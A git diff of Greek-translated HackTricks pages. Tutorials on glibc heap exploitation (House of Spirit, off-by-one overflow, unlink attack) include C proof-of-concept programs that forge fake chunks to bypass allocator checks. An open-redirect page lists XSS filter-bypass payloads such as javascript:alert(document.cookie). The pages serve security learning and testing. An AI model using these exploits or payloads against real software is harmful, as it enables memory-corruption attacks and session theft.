binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
||||||
|
# Σπίτι του Πνεύματος
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
### Κώδικας
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Σπίτι του Πνεύματος</summary>
|
||||||
|
```c
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||||
|
|
||||||
|
struct fast_chunk {
|
||||||
|
size_t prev_size;
|
||||||
|
size_t size;
|
||||||
|
struct fast_chunk *fd;
|
||||||
|
struct fast_chunk *bk;
|
||||||
|
char buf[0x20]; // chunk falls in fastbin size range
|
||||||
|
};
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||||
|
void *ptr, *victim;
|
||||||
|
|
||||||
|
ptr = malloc(0x30);
|
||||||
|
|
||||||
|
printf("Original alloc address: %p\n", ptr);
|
||||||
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||||
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||||
|
|
||||||
|
// Passes size check of "free(): invalid size"
|
||||||
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||||
|
|
||||||
|
// Passes "free(): invalid next size (fast)"
|
||||||
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||||
|
|
||||||
|
// Attacker overwrites a pointer that is about to be 'freed'
|
||||||
|
// Point to .fd as it's the start of the content of the chunk
|
||||||
|
ptr = (void *)&fake_chunks[0].fd;
|
||||||
|
|
||||||
|
free(ptr);
|
||||||
|
|
||||||
|
victim = malloc(0x30);
|
||||||
|
printf("Victim: %p\n", victim);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Να είναι δυνατή η προσθήκη ενός αυθαίρετου διευθύνσεως στο tcache / fast bin ώστε όταν καλείται η malloc να χρησιμοποιείται σε ένα κομμάτι
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα γρήγορα κομμάτια δεδομένων που υποδεικνύουν σωστά την τιμή μεγέθους τους και να αντικαταστήσει ένα γρήγορο κομμάτι μεγέθους που θα ελευθερωθεί, έτσι ώστε το κομμάτι του εισβολέα είναι πραγματικά αυτό που μπαίνει στο fast bin.
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
* Δημιουργήστε ένα ψεύτικο κομμάτι που παρακάμπτει τους ελέγχους ασφαλείας (θα χρειαστείτε 2 ψεύτικα κομμάτια)
|
||||||
|
* Πριν από τον απελευθερωθεί ένας δείκτης, αντικαταστήστε τον με το ψεύτικο κομμάτι ώστε αυτός να μπει στο bin
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) του GitHub.
|
||||||
|
|
||||||
|
</details>
|
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
62
binary-exploitation/heap/off-by-one-overflow.md
Normal file
|
@ -0,0 +1,62 @@
|
||||||
|
# Off by one overflow
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
Έχοντας μόνο πρόσβαση σε ένα 1B υπερχείλιση επιτρέπει σε έναν εισβολέα να τροποποιήσει τις προηγούμενες πληροφορίες μεταδεδομένων μεγέθους, επιτρέποντας να παραποιήσει ποια κομμάτια πραγματικά απελευθερώνονται, δημιουργώντας τελικά ένα κομμάτι που περιέχει ένα άλλο νόμιμο κομμάτι.
|
||||||
|
|
||||||
|
### Παράδειγμα Κώδικα:
|
||||||
|
|
||||||
|
* [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c)
|
||||||
|
* Αυτή η επίθεση δεν λειτουργεί πλέον λόγω της χρήσης των Tcaches.
|
||||||
|
* Επιπλέον, αν προσπαθήσετε να το καταχρηστικό χρησιμοποιώντας μεγαλύτερα κομμάτια (έτσι ώστε να μην εμπλέκονται οι tcaches), θα λάβετε το σφάλμα: `malloc(): invalid next size (unsorted)`
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Κάντε ένα κομμάτι να περιέχεται μέσα σε ένα άλλο κομμάτι, έτσι ώστε η εγγραφή πρόσβασης σε αυτό το δεύτερο κομμάτι να επιτρέπει την αντικατάσταση του περιεχόμενου του πρώτου.
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Υπερχείλιση ενός byte για να τροποποιήσετε τις προηγούμενες πληροφορίες μεταδεδομένων μεγέθους
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
* Κρατούνται 3 κομμάτια μνήμης (α, β, γ) το ένα μετά το άλλο. Στη συνέχεια απελευθερώνεται το μεσαίο. Το πρώτο περιέχει μια ευπάθεια υπερχείλισης ενός byte και ο εισβολέας την καταχράται με ένα 0x00 (αν το προηγούμενο byte ήταν 0x10 θα κάνει το μεσαίο κομμάτι να υποδεικνύει ότι είναι 0x10 μικρότερο από ό,τι πραγματικά είναι).
|
||||||
|
* Στη συνέχεια, δεσμεύονται 2 μικρότερα κομμάτια μέσα στο μεσαίο απελευθερωμένο κομμάτι (β), ωστόσο, καθώς το `β + μέγεθος β` δεν ενημερώνει ποτέ το κομμάτι γ (γιατί η δεικτοδότηση είναι μικρότερη από ό,τι θα έπρεπε).
|
||||||
|
* Στη συνέχεια, απελευθερώνονται τα b1 και c. Καθώς το `γ - μέγεθος προηγούμενου γ` εξακολουθεί να δείχνει στο b (τώρα b1), και τα δύο συγχωνεύονται σε ένα κομμάτι. Ωστόσο, το b2 παραμένει μέσα μεταξύ b1 και γ.
|
||||||
|
* Τέλος, γίνεται μια νέα κλήση malloc ανακτώντας αυτήν την περιοχή μνήμης που πρόκειται να περιέχει το b2, επιτρέποντας στον κάτοχο του νέου malloc να ελέγχει το περιεχόμενο του b2.
|
||||||
|
|
||||||
|
Αυτή η εικόνα εξηγεί τέλεια την επίθεση:
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
139
binary-exploitation/heap/unlink-attack.md
Normal file
139
binary-exploitation/heap/unlink-attack.md
Normal file
|
@ -0,0 +1,139 @@
|
||||||
|
# Επίθεση Unlink
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθράς Ομάδας AWS του HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του Github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Βασικές Πληροφορίες
|
||||||
|
|
||||||
|
Όταν ανακαλύφθηκε αυτή η επίθεση, κυρίως επέτρεπε ένα WWW (Write What Where), ωστόσο, προστέθηκαν **ελέγχοι** κάνοντας τη νέα έκδοση της επίθεσης πιο ενδιαφέρουσα και πιο πολύπλοκη και **άχρηστη**.
|
||||||
|
|
||||||
|
### Παράδειγμα Κώδικα:
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Κώδικας</summary>
|
||||||
|
```c
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||||
|
|
||||||
|
struct chunk_structure {
|
||||||
|
size_t prev_size;
|
||||||
|
size_t size;
|
||||||
|
struct chunk_structure *fd;
|
||||||
|
struct chunk_structure *bk;
|
||||||
|
char buf[10]; // padding
|
||||||
|
};
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
unsigned long long *chunk1, *chunk2;
|
||||||
|
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||||
|
char data[20];
|
||||||
|
|
||||||
|
// First grab two chunks (non fast)
|
||||||
|
chunk1 = malloc(0x8000);
|
||||||
|
chunk2 = malloc(0x8000);
|
||||||
|
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||||
|
printf("Chunk1: %p\n", chunk1);
|
||||||
|
printf("Chunk2: %p\n", chunk2);
|
||||||
|
|
||||||
|
// Assuming attacker has control over chunk1's contents
|
||||||
|
// Overflow the heap, override chunk2's header
|
||||||
|
|
||||||
|
// First forge a fake chunk starting at chunk1
|
||||||
|
// Need to setup fd and bk pointers to pass the unlink security check
|
||||||
|
fake_chunk = (struct chunk_structure *)chunk1;
|
||||||
|
fake_chunk->size = 0x8000;
|
||||||
|
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||||
|
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||||
|
|
||||||
|
// Next modify the header of chunk2 to pass all security checks
|
||||||
|
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||||
|
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||||
|
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||||
|
|
||||||
|
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||||
|
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||||
|
// i.e. chunk1[3] now contains chunk1 itself.
|
||||||
|
// We then make chunk1 point to some victim's data
|
||||||
|
free(chunk2);
|
||||||
|
printf("Chunk1: %p\n", chunk1);
|
||||||
|
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||||
|
|
||||||
|
chunk1[3] = (unsigned long long)data;
|
||||||
|
|
||||||
|
strcpy(data, "Victim's data");
|
||||||
|
|
||||||
|
// Overwrite victim's data using chunk1
|
||||||
|
chunk1[0] = 0x002164656b636168LL;
|
||||||
|
|
||||||
|
printf("%s\n", data);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
```
|
||||||
|
</details>
|
||||||
|
|
||||||
|
* Η επίθεση δεν λειτουργεί εάν χρησιμοποιούνται τα tcaches
|
||||||
|
|
||||||
|
### Στόχος
|
||||||
|
|
||||||
|
* Τροποποίηση ενός δείκτη σε ένα κομμάτι στη στοίβα ώστε να δείχνει στη στοίβα, επιτρέποντας την τροποποίηση του περιεχομένου της στοίβας με εγγραφή στο κομμάτι
|
||||||
|
|
||||||
|
### Απαιτήσεις
|
||||||
|
|
||||||
|
* Κάποιος έλεγχος σε μνήμη (π.χ. στοίβα) για να δημιουργηθούν μερικά κομμάτια δίνοντας τιμές σε μερικά από τα χαρακτηριστικά.
|
||||||
|
* Διαρροή στη στοίβα για να οριστούν οι δείκτες του ψεύτικου κομματιού.
|
||||||
|
|
||||||
|
### Επίθεση
|
||||||
|
|
||||||
|
* Υπάρχουν μερικά κομμάτια (chunk1 και chunk2)
|
||||||
|
* Ο επιτιθέμενος ελέγχει το περιεχόμενο του chunk1 και τους κεφαλίδες του chunk2.
|
||||||
|
* Στο chunk1 ο επιτιθέμενος δημιουργεί τη δομή ενός ψεύτικου κομματιού:
|
||||||
|
* Για να παρακάμψει τις προστασίες βεβαιώνεται ότι το πεδίο `size` είναι σωστό για να αποφευχθεί το σφάλμα: `corrupted size vs. prev_size while consolidating`
|
||||||
|
* και τα πεδία `fd` και `bk` του ψεύτικου κομματιού δείχνουν εκεί όπου αποθηκεύεται ο δείκτης του chunk1 στη στοίβα με μετατοπίσεις -3 και -2 αντίστοιχα, έτσι ώστε `fake_chunk->fd->bk` και `fake_chunk->bk->fd` να δείχνουν στη θέση στη μνήμη (στοίβα) όπου βρίσκεται η πραγματική διεύθυνση του chunk1:
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
* Οι κεφαλίδες του chunk2 τροποποιούνται για να υποδεικνύουν ότι το προηγούμενο κομμάτι δεν χρησιμοποιείται και ότι το μέγεθος είναι το μέγεθος του Ϩεύτικου κομματιού που περιέχεται.
|
||||||
|
* Όταν απελευθερωθεί το δεύτερο κομμάτι τότε αυτό το ψεύτικο κομμάτι αποσυνδέεται:
|
||||||
|
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||||
|
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||||
|
* Προηγουμένως έγινε ώστε τα `fake_chunk->fd->bk` και `fake_chunk->fd->bk` να δείχνουν στον ίδιο τόπο (τη θέση στη στοίβα όπου αποθηκεύτηκε το `chunk1`, έτσι ήταν μια έγκυρη συνδεδεμένη λίστα). Καθώς **και τα δύο δείχνουν στην ίδια τοποθεσία** μόνο το τελευταίο (`fake_chunk->bk->fd = fake_chunk->fd`) θα έχει **επίδραση**.
|
||||||
|
* Αυτό θα **αντικαταστήσει τον δείκτη στο chunk1 στη στοίβα με τη διεύθυνση (ή bytes) που αποθηκεύεται 3 διευθύνσεις πριν στη στοίβα**.
|
||||||
|
* Έτσι, εάν ένας επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1, θα μπορούσε να **εγγράψει μέσα στη στοίβα** μπορώντας πιθανώς να αντικαταστήσει τη διεύθυνση επιστροφής παρακάμπτοντας το canary και να τροποποιήσει τις τιμές και τους δείκτες των τοπικών μεταβλητών. Ακόμη, τροποποιώντας ξανά τη διεύθυνση του chunk1 που αποθηκεύεται στη στοίβα σε μια διαφορετική τοποθεσία όπου εάν ο επιτιθέμενος μπορούσε να ελέγχει ξανά το περιεχόμενο του chunk1 θα μπορούσε να γράψει οπουδήποτε.
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
## Αναφορές
|
||||||
|
|
||||||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -1,25 +1,28 @@
|
||||||
|
# Ανοικτή Ανακατεύθυνση
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
## Ανοικτή ανακατεύθυνση
|
||||||
|
|
||||||
# Ανακατεύθυνση σε τοπικό υπολογιστή ή αυθαίρετους τομείς
|
### Ανακατεύθυνση σε τοπικό υπολογιστή ή σε τυχαίους τομείς
|
||||||
|
|
||||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Ανοιχτή Ανακατεύθυνση προς XSS
|
### Ανοικτή Ανακατεύθυνση προς XSS
|
||||||
```bash
|
```bash
|
||||||
#Basic payload, javascript code is executed after "javascript:"
|
#Basic payload, javascript code is executed after "javascript:"
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
|
@ -27,6 +30,9 @@ javascript:alert(1)
|
||||||
#Bypass "javascript" word filter with CRLF
|
#Bypass "javascript" word filter with CRLF
|
||||||
java%0d%0ascript%0d%0a:alert(0)
|
java%0d%0ascript%0d%0a:alert(0)
|
||||||
|
|
||||||
|
# Abuse bad subdomain filter
|
||||||
|
javascript://sub.domain.com/%0Aalert(1)
|
||||||
|
|
||||||
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
|
||||||
#This bypasses FILTER_VALIDATE_URL os PHP
|
#This bypasses FILTER_VALIDATE_URL os PHP
|
||||||
javascript://%250Aalert(1)
|
javascript://%250Aalert(1)
|
||||||
|
@ -62,15 +68,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||||
/x:1/:///%01javascript:alert(document.cookie)/
|
/x:1/:///%01javascript:alert(document.cookie)/
|
||||||
";alert(0);//
|
";alert(0);//
|
||||||
```
|
```
|
||||||
# Ανοικτή Ανακατεύθυνση με την αποστολή αρχείων svg
|
## Ανοιχτή Ανακατεύθυνση μεταφόρτωσης αρχείων svg
|
||||||
|
|
||||||
